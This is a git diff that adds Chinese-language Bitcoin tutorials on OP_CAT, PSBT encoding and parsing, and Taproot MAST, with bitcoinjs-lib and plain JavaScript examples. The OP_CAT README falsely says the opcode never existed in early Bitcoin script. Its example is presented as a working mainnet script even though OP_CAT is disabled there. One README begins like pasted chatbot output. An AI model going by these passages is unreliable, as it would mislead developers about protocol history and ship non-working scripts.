+通过这些操作码，比特币网络提供了多种实现多签名的方式。`OP_CHECKMULTISIG` 和 `OP_CHECKMULTISIGVERIFY` 是传统的多签名实现方式，而 `OP_CHECKSIGADD` 则是引入 Taproot 和 Schnorr 签名后，更高效和灵活的实现方式。这些技术共同提升了比特币交易的安全性和灵活性，满足了不同应用场景的需求。
+
diff --git a/btc/Advanced/OP_CAT/README.md b/btc/Advanced/OP_CAT/README.md
new file mode 100644
index 000000000..18f6288e0
--- /dev/null
+++ b/btc/Advanced/OP_CAT/README.md
@@ -0,0 +1,46 @@
+`OP_CAT` 是比特币脚本中的一个操作码（opcode），它用于将两个或多个元素连接在一起。这一功能在比特币的原生脚本语言中并不存在，因此 `OP_CAT` 的引入是为了增强比特币脚本的灵活性和功能，特别是在智能合约和复杂交易的应用场景中。
+
+### `OP_CAT` 的背景和用途
+
+1. **操作码（Opcode）概述**：
+   - 比特币的脚本语言是栈式的，操作码是脚本的基本组成部分。每个操作码执行特定的功能，如加法、签名验证和数据操作等。
+   - `OP_CAT` 用于将两个栈顶元素连接（concatenate）成一个更大的元素。这对于构建复杂数据结构和处理更复杂的脚本逻辑非常有用。
+
+2. **为何需要 `OP_CAT`**：
+   - 在比特币早期的脚本语言中，没有直接的连接字符串或数据的功能。这限制了某些智能合约和复杂交易的实现。
+   - 引入 `OP_CAT` 使得开发者能够更灵活地操作和组合数据，增强了比特币脚本的表达能力。
+
+### `OP_CAT` 的功能
+
+- **连接功能**：`OP_CAT` 将两个元素从栈中取出，并将它们连接成一个新的元素。举例来说，如果栈顶的元素是字符串 "Hello" 和 "World"，执行 `OP_CAT` 后，栈顶元素将变成 "HelloWorld"。
+- **应用场景**：
+  - **智能合约**：在构建智能合约时，可以利用 `OP_CAT` 组合数据，形成更复杂的数据结构。
+  - **多签名交易**：在多签名场景中，可以将多个公钥或签名连接在一起，以便在验证时进行处理。
+  - **数据打包**：当需要将多个输入数据合并成一个输出时，`OP_CAT` 是一个重要工具。
+
+### 示例
+
+假设我们有两个元素在栈中，分别为 "Data1" 和 "Data2"。使用 `OP_CAT` 的过程如下：
+
+1. **栈状态**：
+   ```
+   Top -> Data2
+         Data1
+   ```
+
+2. **执行 `OP_CAT`**：
+   - 栈顶的两个元素 "Data1" 和 "Data2" 被取出，并连接在一起。
+
+3. **结果栈状态**：
+   ```
+   Top -> Data1Data2
+   ```
+
+### 安全性和实现
+
+- **安全性**：虽然 `OP_CAT` 增强了脚本的灵活性，但也可能引入一些复杂性。合约的开发者需要确保合约逻辑的安全性和正确性，避免潜在的漏洞。
+- **实现**：`OP_CAT` 的实现需要对比特币的脚本引擎进行修改，因此需要在比特币核心代码中进行添加和测试，确保它与现有的操作码兼容。
+
+### 结论
+
+`OP_CAT` 的引入为比特币的脚本语言增加了重要的功能，使得在智能合约和复杂交易的开发中可以更灵活地处理数据。尽管比特币的脚本设计注重安全性和简单性，但通过引入 `OP_CAT`，开发者能够实现更丰富的逻辑和应用场景。随着比特币生态系统的发展，像 `OP_CAT` 这样的操作码可能会变得越来越重要。
\ No newline at end of file
diff --git a/btc/Advanced/OP_CAT/example/README.md b/btc/Advanced/OP_CAT/example/README.md
new file mode 100644
index 000000000..2cc2548f7
--- /dev/null
+++ b/btc/Advanced/OP_CAT/example/README.md
@@ -0,0 +1,60 @@
+你是对的，我在之前的示例中没有明确给出与 `OP_EQUAL` 验证的内容。在比特币脚本中，`OP_EQUAL` 用于验证栈顶两个元素是否相等。因此，我们需要在脚本中明确指定连接后的结果，并与这个结果进行比较。
+
+### 完整示例
+
+下面是一个更新后的示例，展示如何使用 `OP_CAT` 实现智能合约，并在脚本中验证连接后的结果是否等于 "HelloWorld"：
+
+```javascript
+const bitcoin = require('bitcoinjs-lib');
+
+// 创建一个包含 OP_CAT 的脚本
+function createScript() {
+    // 连接的目标结果
+    const target = Buffer.from('HelloWorld');
+
+    const script = bitcoin.script.compile([
+        bitcoin.opcodes.OP_DUP,
+        bitcoin.opcodes.OP_HASH160,
+        Buffer.from('...'), // 使用适当的公钥哈希
+        bitcoin.opcodes.OP_EQUALVERIFY,
+        bitcoin.opcodes.OP_CHECKSIG,
+        // 连接两个字符串
+        Buffer.from('Hello'), // 第一个元素
+        Buffer.from('World'),  // 第二个元素
+        bitcoin.opcodes.OP_CAT, // 连接操作
+        target, // 连接后的目标结果
+        bitcoin.opcodes.OP_EQUAL // 验证连接结果是否等于 'HelloWorld'
+    ]);
+
+    return script;
+}
+
+// 创建和打印 P2SH 地址
+function createP2SHAddress() {
+    const script = createScript();
+    const { address } = bitcoin.payments.p2sh({ redeem: { output: script, network: bitcoin.networks.bitcoin } });
+
+    console.log('P2SH Address:', address);
+}
+
+createP2SHAddress();
+```
+
+### 代码解析
+
+1. **连接后的目标结果**：
+   - 我们定义了一个 `target` 变量，表示连接后的目标结果 `HelloWorld`。在脚本中，我们将这个目标结果与连接后的结果进行比较。
+
+2. **脚本逻辑**：
+   - `OP_CAT` 将 `Buffer.from('Hello')` 和 `Buffer.from('World')` 连接起来，结果是 `HelloWorld`。
+   - 然后，`target`（即 `HelloWorld`）被推入栈中。
+   - 最后，`OP_EQUAL` 用于检查连接的结果是否与 `target` 相等。
+
+### 注意事项
+
+- **脚本验证**：在比特币的环境中，脚本通常是在执行交易时被验证。因此，这段脚本需要在合适的环境中进行测试。
+- **公钥哈希**：在实际应用中，`Buffer.from('...')` 应替换为实际的公钥哈希。
+
+### 结论
+
+现在这个脚本清楚地验证了连接后的结果是否与预期值 `HelloWorld` 相等。这种方式展示了如何在比特币脚本中使用 `OP_CAT` 进行数据连接和验证。虽然比特币的脚本语言有一定的限制，但通过合理组合操作码，依然可以实现复杂的逻辑。
\ No newline at end of file
diff --git a/btc/Advanced/OP_CAT/example/index.js b/btc/Advanced/OP_CAT/example/index.js
new file mode 100644
index 000000000..cfcdac613
--- /dev/null
+++ b/btc/Advanced/OP_CAT/example/index.js
@@ -0,0 +1,33 @@
+const bitcoin = require('bitcoinjs-lib');
+
+// 创建一个包含 OP_CAT 的脚本
+function createScript() {
+  // 连接的目标结果
+  const target = Buffer.from('HelloWorld');
+
+  const script = bitcoin.script.compile([
+    bitcoin.opcodes.OP_DUP,
+    bitcoin.opcodes.OP_HASH160,
+    Buffer.from('...'), // 使用适当的公钥哈希
+    bitcoin.opcodes.OP_EQUALVERIFY,
+    bitcoin.opcodes.OP_CHECKSIG,
+    // 连接两个字符串
+    Buffer.from('Hello'), // 第一个元素
+    Buffer.from('World'), // 第二个元素
+    bitcoin.opcodes.OP_CAT, // 连接操作，必须在两个字符串之后
+    target, // 连接后的目标结果
+    bitcoin.opcodes.OP_EQUAL, // 验证连接结果是否等于 'HelloWorld'
+  ]);
+
+  return script;
+}
+
+// 创建和打印 P2SH 地址
+function createP2SHAddress() {
+  const script = createScript();
+  const { address } = bitcoin.payments.p2sh({ redeem: { output: script, network: bitcoin.networks.bitcoin } });
+
+  console.log('P2SH Address:', address);
+}
+
+createP2SHAddress();
diff --git a/btc/Advanced/Psbt/README.md b/btc/Advanced/Psbt/README.md
new file mode 100644
index 000000000..c23c20677
--- /dev/null
+++ b/btc/Advanced/Psbt/README.md
@@ -0,0 +1,59 @@
+PSBT（Partially Signed Bitcoin Transaction，部分签名比特币交易）是一种交易格式，用于在不同参与者之间安全地传输未完成的交易信息，以便完成签名过程。这种格式主要用于提高比特币交易的灵活性和多方合作的安全性，尤其是在涉及多重签名和复杂的交易结构时。
+
+### PSBT的目的和应用场景
+
+PSBT（Partially Signed Bitcoin Transactions）是一种格式，用于Bitcoin交易的离线或多方签名。这种格式在[BIP 174](https://github.com/bitcoin/bips/blob/master/bip-0174.mediawiki)中被详细定义，该BIP是由Andrew Chow于2017年提出的，PSBT编码和解析参考[PSBT encode](./encode.md)。
+
+在PSBT出现之前，Bitcoin的交易签名过程通常需要交易的所有参与者在线，并能够直接交互以产生完全签名的交易。这在多方需要合作创建一个交易，尤其是在使用硬件钱包或冷存储方案时，会变得复杂和不安全。此外，对于复杂的交易类型（如多重签名或条件交易），简单的交易签名数据结构并不足以容纳所需的全部信息，如前一交易的脚本或其他元数据。
+
+PSBT的设计初衷是解决比特币生态中的一个关键问题：在不共享私钥的情况下，如何在多个参与者之间安全地协作构建和签名交易。它允许每个参与者独立地添加到交易的签名或其他必需信息，而不必暴露自己的私钥给其他人。
+
+主要应用场景包括：
+- **多重签名交易**：多个参与者需要对同一笔交易进行签名。
+- **冷存储和硬件钱包**：安全设备可以在不直接连接到互联网的情况下签名交易。
+- **复杂的交易类型**：涉及时间锁、多步骤执行等特殊条件的交易。
+
+## PSBT的工作原理
+在PSBT（Partially Signed Bitcoin Transaction）的工作流程中，涉及到几个关键的参与者或身份，他们各自负责交易的不同阶段。这些身份通常根据他们在交易签名和构建过程中的角色来定义。以下是PSBT流程中几个主要身份的概述：
+
+### 1. 交易发起者（Creator）
+- **角色**：开始PSBT流程的是交易发起者。他们负责构建交易的初始结构，这包括定义交易的输入和输出。
+- **责任**：交易发起者需要收集并添加所有必要的输入数据（如UTXOs的详细信息）以及输出信息。他们会创建一个PSBT文件，此文件还未包含任何签名。
+
+### 2. 更新者（Updater）
+- **角色**：更新者的任务是添加或更新交易中缺失的信息，这可能包括输入和输出的附加细节。
+- **责任**：更新者确保PSBT包含足够的信息以便所有参与者可以验证交易。例如，他们可能需要添加redeemScript或witnessScript等信息。
+
+### 3. 签名者（Signer）
+- **角色**：签名者是那些用自己的私钥对交易的一个或多个输入进行签名的参与者。
+- **责任**：每个签名者都必须独立验证他们即将签名的交易的有效性和完整性。在确认无误后，签名者将他们的签名添加到PSBT中。
+
+### 4. 合并者（Combiner）
+- **角色**：在多签名或多步骤签名的情况下，合并者负责将来自不同签名者的多个PSBT副本合并成一个包含所有必需签名的单一PSBT。
+- **责任**：合并者需确保所有的签名都正确并被妥善地合并到PSBT中，没有遗漏任何有效签名。
+
+### 5. 最终化者（Finalizer）
+- **角色**：最终化者负责处理交易的最终细节，确保所有的输入都已正确地签名，并将PSBT转换成可以广播的标准比特币交易格式。
+- **责任**：最终化者将完成的签名脚本插入到交易中的相应输入，并移除所有不再需要的临时数据。
+
+### 6. 广播者（Broadcaster）
+- **角色**：一旦PSBT被最终化并转换成一个完整的交易后，广播者负责将其发送到比特币网络。
+- **责任**：广播者需要确保交易被网络接受，并进行监控，直到交易被确认。
+
+## PSBT与普通交易的联系与区别
+
+| 特性           | 普通交易 (Raw Transaction)       | PSBT (Partially Signed Bitcoin Transaction)    |
+|---------------|-----------------------------------|------------------------------------------------|
+| **格式**      | 简单的二进制格式                  | 扩展的二进制格式，包含未签名交易和元数据      |
+| **用途**      | 直接在网络上广播和确认            | 用于离线或多方签名，最终转换为普通交易广播    |
+| **签名**      | 交易中直接包含签名                | 签名被包含在元数据中，允许多步骤和多方签名    |
+| **数据内容**  | 仅包含交易必需的数据              | 包含交易数据外的额外信息，如脚本、公钥等      |
+| **交互性**    | 通常由单一实体完成                | 支持多个实体分别签名后合并                    |
+| **安全性**    | 需要网络连接进行签名              | 可以完全离线签名，提高安全性                  |
+| **兼容性**    | 所有比特币网络节点直接支持        | 需要特定的钱包或工具来创建和解析PSBT          |
+| **处理流程**  | 创建、签名、广播为一体的流程      | 创建、签名可以分开，由不同的参与者在不同时间完成 |
+| **适用场景**  | 简单的个人交易                    | 复杂的交易，如多重签名、企业级应用等          |
+
+
+
+PSBT是一个强大的工具，能够处理复杂的比特币交易，特别是在需要多方合作的情况下。它通过提供一个标准化且安全的方式来协调和合并不同参与者的输入，极大地增强了比特币交易的多样性和安全性。每个角色在PSBT的创建和完成过程中发挥着关键作用，确保交易不仅符合技术规范，同时也达到了预期的安全性标准。
\ No newline at end of file
diff --git a/btc/Advanced/Psbt/encode.md b/btc/Advanced/Psbt/encode.md
new file mode 100644
index 000000000..8727e992c
--- /dev/null
+++ b/btc/Advanced/Psbt/encode.md
@@ -0,0 +1,195 @@
+PSBT（Partially Signed Bitcoin Transaction）的编码和解码是一个关键环节，它允许各种工具和应用以标准格式交换交易信息。PSBT格式设计为可扩展和兼容未来功能，同时确保可以在不同设备和平台间安全地传输和处理交易数据。
+
+### PSBT格式
+
+PSBT的基本格式是一个序列化的数据结构，包含所有必要的信息，使多个参与者能够独立进行交易签名和验证。这个格式遵循一定的编码规则，详细见[BIP174](https://github.com/bitcoin/bips/blob/master/bip-0174.mediawiki)，通常以Base64或十六进制形式进行传输。
+
+**The Partially Signed Bitcoin Transaction (PSBT) format**
+
+```bash
+ # whole structure
+ <psbt> := <magic> <global-map> <input-map>* <output-map>*
+
+ # start with magic number
+ # 0x70 0x73 0x62 0x74 encode of PSBT
+ <magic> := 0x70 0x73 0x62 0x74 0xFF
+ <global-map> := <keypair>* 0x00
+ <input-map> := <keypair>* 0x00
+ <output-map> := <keypair>* 0x00
+
+ # keyPair structure
+ <keypair> := <key> <value>
+
+ # key structure
+ <key> := <keylen> <keytype> <keydata>
+
+ # value structure
+ <value> := <valuelen> <valuedata>
+```
+
+PSBT数据主要分为以下几部分：
+
+1. **全局数据**：包括事务的未签名版本，以及可能的全局元数据，例如原始交易的版本和锁定时间。
+2. **输入数据**：每个输入独立的数据，包括UTXO信息、签名脚本、见证脚本、签名和其他相关信息。
+3. **输出数据**：每个输出独立的数据，如赎回脚本和其他可能的输出信息。
+
+### 编码过程
+
+PSBT的编码过程包括将交易的各个部分转换成可序列化的格式，然后通常使用Base64进行编码以便于传输。具体步骤如下：
+
+1. **创建基础交易**：首先，创建一个标准的Bitcoin交易，指定所需的输入和输出。
+2. **填充PSBT结构**：为每个输入和输出填充必要的信息，如UTXO详情、赎回路径和必要的签名数据。
+3. **序列化数据**：将所有信息序列化为连续的字节流。这包括使用键值对编码各个部分，其中键和值有特定的格式。
+4. **Base64编码**：最后，将序列化的数据编码为Base64字符串，便于在网络上或通过其他方式安全传输。
+
+### 解码过程
+
+解码PSBT是编码过程的逆过程，主要步骤包括：
+
+1. **Base64解码**：首先将接收到的Base64字符串解码回原始的字节流。
+2. **反序列化数据**：解析字节流，根据PSBT的键值对结构恢复出每个部分的数据。
+3. **重建交易信息**：使用解码的数据重建完整的交易视图，包括所有输入和输出的详细信息。
+4. **验证和签名**：在交易数据完全恢复后，参与者可以验证交易的有效性，并在必要时添加自己的签名。
+
+## PSBT 创建
+
+以下是一个使用JavaScript和`bitcoinjs-lib`库来处理PSBT（Partially Signed Bitcoin Transaction）的基本示例。这个例子展示了如何创建一个PSBT，添加输入和输出，进行签名，并最终导出为可以广播的比特币交易。
+
+### 环境设置
+
+首先，你需要确保已经安装了`bitcoinjs-lib`。如果尚未安装，可以通过npm进行安装：
+
+```bash
+npm install bitcoinjs-lib
+```
+
+### 创建和签名PSBT的案例
+
+```javascript
+const bitcoin = require('bitcoinjs-lib');
+
+// 设置网络，这里以比特币测试网为例
+const network = bitcoin.networks.testnet;
+
+// 创建一个新的比特币密钥对
+const keyPair = bitcoin.ECPair.makeRandom({ network: network });
+const { address } = bitcoin.payments.p2pkh({ pubkey: keyPair.publicKey, network: network });
+
+console.log(`New address: ${address}`);
+
+// 创建一个新的PSBT
+let psbt = new bitcoin.Psbt({ network: network });
+
+// 假设这是UTXO的详细信息，你需要从区块链或钱包获取这些信息
+const utxo = {
+  hash: 'transaction-hash-of-utxo-here', // 事务哈希
+  index: 0, // 输出索引
+  value: 100000, // Satoshis
+};
+
+// 添加输入，这里假设UTXO已经知道
+psbt.addInput({
+  hash: utxo.hash,
+  index: utxo.index,
+  nonWitnessUtxo: Buffer.from('raw-transaction-hex-here', 'hex'),
+});
+
+// 添加输出，指定接收地址和金额（satoshis）
+psbt.addOutput({
+  address: 'recipient-address-here',
+  value: 90000, // 减去手续费
+});
+
+// 对PSBT进行签名
+psbt.signInput(0, keyPair);
+
+// 验证签名是否正确
+psbt.validateSignaturesOfInput(0);
+
+// 最终确认PSBT
+psbt.finalizeAllInputs();
+
+// 导出可以广播的交易
+const tx = psbt.extractTransaction().toHex();
+
+console.log(`Transaction ready to be broadcasted: ${tx}`);
+```
+
+### 解释
+
+1. **初始化**：首先创建一个比特币网络的环境，并生成一个新的密钥对和地址。
+2. **创建PSBT**：实例化一个PSBT对象，为添加输入和输出做准备。
+3. **添加输入**：添加一个UTXO作为输入。这通常需要事务的原始数据，这里使用`nonWitnessUtxo`字段传入原始交易的hex字符串。
+4. **添加输出**：添加一个输出，指定收款地址和金额。
+5. **签名**：使用私钥对输入进行签名。
+6. **验证签名**：验证输入的签名是否有效。
+7. **完成PSBT**：完成所有输入，锁定PSBT，使之准备好转换为最终的交易格式。
+8. **导出交易**：将PSBT转换为一个标准的比特币交易，并将其转换为hex格式，准备广播到网络。
+
+## PSBT 解析
+
+要解析PSBT（Partially Signed Bitcoin Transaction）并查看其详细内容，你可以使用`bitcoinjs-lib`库在JavaScript环境中执行这一任务。下面的示例将展示如何读取一个PSBT，解析其内容，以及如何查看关键信息，如输入和输出详情。
+
+### 示例：解析PSBT
+
+```javascript
+const bitcoin = require('bitcoinjs-lib');
+
+// 假设这是一个已经存在的PSBT的Base64编码字符串
+const psbtBase64 =
+  'cHNidP8BAHECAAAAAZtuEiavDmeZR6WUjIhjFbkFh7m+yywCfHlni6uTrgH/////AZD+GwAAAAAAF6kU9BeD5tGIzjL0VzU3+kEUNw+HME3/////8C0wbdQAAAAAAF6kUAAAAAAAAiACATWsYQSE/C85hv5jZVDezl0l4AAAAAAAEBKxAnAAAAAAAAFgAUjVv8Fy0Qdk84W/oBhiMllC+HIHg=';
+
+// 将Base64编码的PSBT解码
+const psbt = bitcoin.Psbt.fromBase64(psbtBase64);
+
+// 遍历PSBT的输入和输出
+psbt.data.inputs.forEach((input, index) => {
+  console.log(`Input ${index}:`);
+  console.log(input);
+});
+
+psbt.data.outputs.forEach((output, index) => {
+  console.log(`Output ${index}:`);
+  console.log(output);
+});
+
+// 如果需要更详细地查看某个特定的输入或输出，可以根据实际需要提取更多信息
+```
+
+### 解释
+
+1. **解码PSBT**：首先使用`bitcoinjs-lib`的`Psbt.fromBase64`方法将Base64编码的PSBT字符串解码成一个PSBT对象。
+2. **遍历输入和输出**：通过访问`psbt.data.inputs`和`psbt.data.outputs`数组，可以查看每个输入和输出的详细信息。这包括UTXO信息、脚本、签名等。
+3. **打印信息**：在控制台打印每个输入和输出的详细信息，这有助于开发者理解和调试PSBT。
+
+## 原生解析
+
+在比特币的PSBT（Partially Signed Bitcoin Transaction）处理中，原生编码和解码是指不使用任何外部库直接操作PSBT格式数据的方法。这通常涉及到直接处理PSBT的二进制表示，理解其结构，并根据规范来手动解析或构建数据。由于PSBT规范的复杂性，这一过程比较繁琐，但非常重要，因为它能提供对PSBT工作原理的深入理解。
+
+### PSBT数据结构
+
+PSBT是一种包含多个键值对的数据结构，每个部分都有其特定的分隔符和格式。其结构大致如下：
+
+1. **全局部分**：包含交易的全局信息，如未签名的交易（除了witness）和其他全局类型的数据。
+2. **输入部分**：每个输入都有自己的键值对集，可能包括非见证UTXO、签名脚本、序列号等。
+3. **输出部分**：每个输出可能包括与之相关的脚本或其他数据。
+
+### 原生编码过程
+
+编码PSBT时，你需要遵循BIP 174（PSBT规范）中定义的格式，将交易的各个部分转换为键值对，并且每个键值对之后跟一个分隔符。具体步骤如下：
+
+1. **开始全局部分**：使用特定的魔术字节（`0x70736274FF`，表示"psbt"加上分隔符）开始。
+2. **编码全局键值对**：例如，将交易版本、交易输入和输出数量等编码为键值对。
+3. **输入部分**：对每个输入，编码所有相关信息（如UTXO、见证数据、部分签名等）为键值对。
+4. **输出部分**：对每个输出，编码所有相关信息（如赎回脚本）为键值对。
+5. **结束**：每个部分结束时都需要一个`0x00`作为分隔符。
+
+### 原生解码过程
+
+解码PSBT时，需要按照编码的相反顺序来操作：
+
+1. **读取并验证魔术字节**：确认PSBT的开始符合规范。
+2. **解析全局键值对**：读取键值对，直到遇到分隔符。
+3. **逐个解析输入部分**：对于每个输入，读取其键值对，直到遇到分隔符。
+4. **逐个解析输出部分**：对于每个输出，同样读取其键值对。
+5. **验证完整性**：确保所有必要的数据都已正确解析，并且数据结构符合PSBT的规范。
diff --git a/btc/Advanced/Psbt/rawParsePSBT.js b/btc/Advanced/Psbt/rawParsePSBT.js
new file mode 100644
index 000000000..9a177cd98
--- /dev/null
+++ b/btc/Advanced/Psbt/rawParsePSBT.js
@@ -0,0 +1,76 @@
+const parsePSBT = (psbtBase64) => {
+  const psbtBuffer = Buffer.from(psbtBase64, 'base64');
+  let index = 0;
+
+  // 魔术字节和分隔符
+  const magicBytes = psbtBuffer.slice(index, index + 5);
+  index += 5;
+  if (magicBytes.toString('hex') !== '70736274ff') { // Check for valid PSBT magic bytes
+    throw new Error('Not a valid PSBT');
+  }
+
+  // 解析全局部分
+  console.log('Global Data:');
+  while (psbtBuffer[index] !== 0x00 && index < psbtBuffer.length) {
+    // Parse key
+    if (index + 2 > psbtBuffer.length) break; // Prevent reading beyond buffer
+    const keyLen = psbtBuffer[index];
+    const key = psbtBuffer.slice(index + 1, index + 1 + keyLen);
+    index += 1 + keyLen;
+
+    // Parse value
+    if (index + 1 > psbtBuffer.length) break; // Prevent reading beyond buffer
+    const valueLen = psbtBuffer.readIntLE(index, 1);
+    const value = psbtBuffer.slice(index + 1, index + 1 + valueLen);
+    index += 1 + valueLen;
+
+    console.log(`Key: ${key.toString('hex')}, Value: ${value.toString('hex')}`);
+  }
+  index++; // Move past separator byte
+
+  // 解析输入部分
+  console.log('Inputs:');
+  while (index < psbtBuffer.length && psbtBuffer[index] !== 0x00) {
+    // Process each input's key-value pairs
+    while (psbtBuffer[index] !== 0x00 && index < psbtBuffer.length) {
+      if (index + 2 > psbtBuffer.length) break;
+      const keyLen = psbtBuffer[index];
+      const key = psbtBuffer.slice(index + 1, index + 1 + keyLen);
+      index += 1 + keyLen;
+
+      if (index + 1 > psbtBuffer.length) break;
+      const valueLen = psbtBuffer.readUIntLE(index, 1);
+      const value = psbtBuffer.slice(index + 1, index + 1 + valueLen);
+      index += 1 + valueLen;
+      console.log(`Key: ${key.toString('hex')}, Value: ${value.toString('hex')}`);
+    }
+    index++; // Move to next input or separator
+  }
+  index++; // Move past input separator
+
+  // 解析输出部分 
+  console.log('Outputs:');
+  while (index < psbtBuffer.length && psbtBuffer[index] !== 0x00) {
+    console.log(`Output at index ${index}:`);
+    // Process each output's key-value pairs
+    while (psbtBuffer[index] !== 0x00 && index < psbtBuffer.length) {
+      if (index + 2 > psbtBuffer.length) break;
+      const keyLen = psbtBuffer[index];
+      const key = psbtBuffer.slice(index + 1, index + 1 + keyLen);
+      index += 1 + keyLen;
+
+      if (index + 1 > psbtBuffer.length) break;
+      const valueLen = psbtBuffer.readUIntLE(index, 1);
+      const value = psbtBuffer.slice(index + 1, index + 1 + valueLen);
+      index += 1 + valueLen;
+
+      console.log(`Key: ${key.toString('hex')}, Value: ${value.toString('hex')}`);
+    }
+    index++; // Move to next output or end
+  }
+};
+
+// 用你提供的Base64字符串测试
+const psbtBase64 =
+  'cHNidP8BAHUCAAAAASaBcTce3/KF6Tet7qSze3gADAVmy7OtZGQXE8pCFxv2AAAAAAD+////AtPf9QUAAAAAGXapFNDFmQPFusKGh2DpD9UhpGZap2UgiKwA4fUFAAAAABepFDVF5uM7gyxHBQ8k0+65PJwDlIvHh7MuEwAAAQD9pQEBAAAAAAECiaPHHqtNIOA3G7ukzGmPopXJRjr6Ljl/hTPMti+VZ+UBAAAAFxYAFL4Y0VKpsBIDna89p95PUzSe7LmF/////4b4qkOnHf8USIk6UwpyN+9rRgi7st0tAXHmOuxqSJC0AQAAABcWABT+Pp7xp0XpdNkCxDVZQ6vLNL1TU/////8CAMLrCwAAAAAZdqkUhc/xCX/Z4Ai7NK9wnGIZeziXikiIrHL++E4sAAAAF6kUM5cluiHv1irHU6m80GfWx6ajnQWHAkcwRAIgJxK+IuAnDzlPVoMR3HyppolwuAJf3TskAinwf4pfOiQCIAGLONfc0xTnNMkna9b7QPZzMlvEuqFEyADS8vAtsnZcASED0uFWdJQbrUqZY3LLh+GFbTZSYG2YVi/jnF6efkE/IQUCSDBFAiEA0SuFLYXc2WHS9fSrZgZU327tzHlMDDPOXMMJ/7X85Y0CIGczio4OFyXBl/saiK9Z9R5E5CVbIBZ8hoQDHAXR8lkqASECI7cr7vCWXRC+B3jv7NYfysb3mk6haTkzgHNEZPhPKrMAAAAAAAAA';
+parsePSBT(psbtBase64);
\ No newline at end of file
diff --git a/btc/Advanced/Taproot/MAST.md b/btc/Advanced/Taproot/MAST.md
new file mode 100644
index 000000000..de593c4f4
--- /dev/null
+++ b/btc/Advanced/Taproot/MAST.md
@@ -0,0 +1,527 @@
+## MAST简介
+
+Merkelized Alternative Script Tree (MAST) 是比特币的一种增强功能，它利用 Merkle 树结构将不同的花费条件（脚本）组织起来，只公开实际使用的脚本分支，提高隐私性和效率。在 MAST 中，有几个关键角色（或身份），它们在构建和验证 Merkle 树时扮演重要作用：
+
+### 关键角色
+
+1. **叶子节点（Leaf Nodes）**
+
+   - **定义**: 叶子节点是 Merkle 树中的基础节点，每个叶子节点代表一个具体的花费条件或脚本。叶子节点通常哈希值进行字典序（lexicographical order）排序。排序的目的是确保 Merkle 树的结构和哈希值是唯一且确定的，这样不同的参与者在构建相同的 Merkle 树时可以得到相同的根哈希值，从而确保交易的一致性和可验证性。
+   - **功能**: 包含实际的比特币脚本（例如条件 A、B、C），这些脚本定义了不同的花费条件。
+   - **示例**:
+     - 条件 A: 在特定时间后 Alice 可以花费。
+     - 条件 B: 在不同的特定时间后 Bob 可以花费。
+     - 条件 C: Alice 和 Bob 联合签名可以立即花费。
+
+2. **内部节点（Internal Nodes）**
+
+   - **定义**: 内部节点是 Merkle 树中的中间节点，每个内部节点是其子节点哈希值的组合。
+   - **功能**: 通过将其子节点的哈希值组合在一起，内部节点形成了从叶子节点到根节点的路径。
+   - **示例**: 如果 `A` 和 `B` 是叶子节点，那么 `H1 = Hash(A, B)` 是内部节点。
+
+3. **根节点（Root Node）**
+
+   - **定义**: 根节点是 Merkle 树的顶层节点，代表整个树的哈希值。
+   - **功能**: 根节点的哈希值用于验证整个 Merkle 树的完整性和有效性。
+   - **示例**: 如果 `H1` 和 `H2` 是内部节点，那么 `Root = Hash(H1, H2)` 是根节点。
+
+4. **Merkle 路径（Merkle Path）**
+   - **定义**: Merkle 路径是从叶子节点到根节点的一系列哈希值，用于验证特定叶子节点是否属于 Merkle 树的一部分。
+   - **功能**: 当花费特定条件时，公开的 Merkle 路径允许验证者确认该条件是 Merkle 树的一部分，而不必公开其他条件。
+   - **示例**: 如果叶子节点 `C` 被使用，Merkle 路径包括 `H3` 和 `H1`，以验证 `C` 到根节点的路径。
+
+### 示例
+
+假设有三个条件（脚本），它们组织成如下 Merkle 树结构：
+
+```
+        Root (R)
+       /       \
+      H1       H2
+     /  \     /  \
+    A    B   C    H3
+```
+
+- **A**、**B**、**C** 是叶子节点，代表具体的花费条件。
+- **H1** 是 `Hash(A, B)`，**H2** 是 `Hash(C, H3)`，它们是内部节点。
+- **Root** 是 `Hash(H1, H2)`，它是根节点。
+
+当 Alice 和 Bob 联合签名花费条件 C 时，需要公开以下信息来验证条件 C 的合法性：
+
+1. 条件 C 的脚本（叶子节点）。
+2. 节点 H3（内部节点，用于计算 H2）。
+3. 节点 H1（内部节点，用于计算 Root）。
+4. 根节点 Root。
+
+### 验证过程
+
+1. 计算 C 的哈希值。
+2. 结合 C 的哈希值和 H3，计算出 H2。
+3. 结合 H1 和 H2，计算出 Root。
+4. 比对计算得到的 Root 和交易中提供的 Root，如果匹配，则验证通过。
+
+这种结构使得未使用的条件（例如 A 和 B）保持隐藏，提高了交易的隐私性，同时提供了高效的验证机制。
+
+## MAST的创建、更新和移除
+
+实现 MAST（Merkelized Alternative Script Tree） 的创建、插入和删除功能，可以使用 JavaScript 结合一些加密库来完成。以下是一个基本的示例，演示如何创建、插入和删除 MAST 中的节点。
+
+```javascript
+const crypto = require('crypto');
+
+class MAST {
+  constructor() {
+    this.leaves = [];
+    this.tree = [];
+  }
+
+  // 计算哈希值
+  hash(data) {
+    return crypto.createHash('sha256').update(data).digest('hex');
+  }
+
+  // 将叶子节点添加到树中
+  addLeaf(data) {
+    const hashedData = this.hash(data);
+    this.leaves.push(hashedData);
+    this.buildTree();
+  }
+
+  // 删除叶子节点并重建树
+  removeLeaf(data) {
+    const hashedData = this.hash(data);
+    const index = this.leaves.indexOf(hashedData);
+    if (index > -1) {
+      this.leaves.splice(index, 1);
+      this.buildTree();
+    }
+  }
+
+  // 构建 Merkle 树
+  buildTree() {
+    if (this.leaves.length === 0) {
+      this.tree = [];
+      return;
+    }
+
+    let level = this.leaves.slice().sort(); // 字典序排序
+    this.tree = [level];
+
+    while (level.length > 1) {
+      level = this.getNextLevel(level);
+      this.tree.unshift(level);
+    }
+  }
+
+  // 计算下一层节点
+  getNextLevel(level) {
+    const nextLevel = [];
+    for (let i = 0; i < level.length; i += 2) {
+      if (i + 1 < level.length) {
+        nextLevel.push(this.hash(level[i] + level[i + 1]));
+      } else {
+        nextLevel.push(level[i]); // 如果没有配对节点，直接移动到下一层
+      }
+    }
+    return nextLevel;
+  }
+
+  // 获取 Merkle 树的根
+  getRoot() {
+    return this.tree.length ? this.tree[0][0] : null;
+  }
+
+  // 打印 Merkle 树
+  printTree() {
+    console.log(JSON.stringify(this.tree, null, 2));
+  }
+}
+
+// 示例用法
+const mast = new MAST();
+mast.addLeaf('Condition A');
+mast.addLeaf('Condition B');
+mast.addLeaf('Condition C');
+console.log('Initial MAST:');
+mast.printTree();
+console.log('Root:', mast.getRoot());
+
+mast.removeLeaf('Condition B');
+console.log('After removing Condition B:');
+mast.printTree();
+console.log('Root:', mast.getRoot());
+
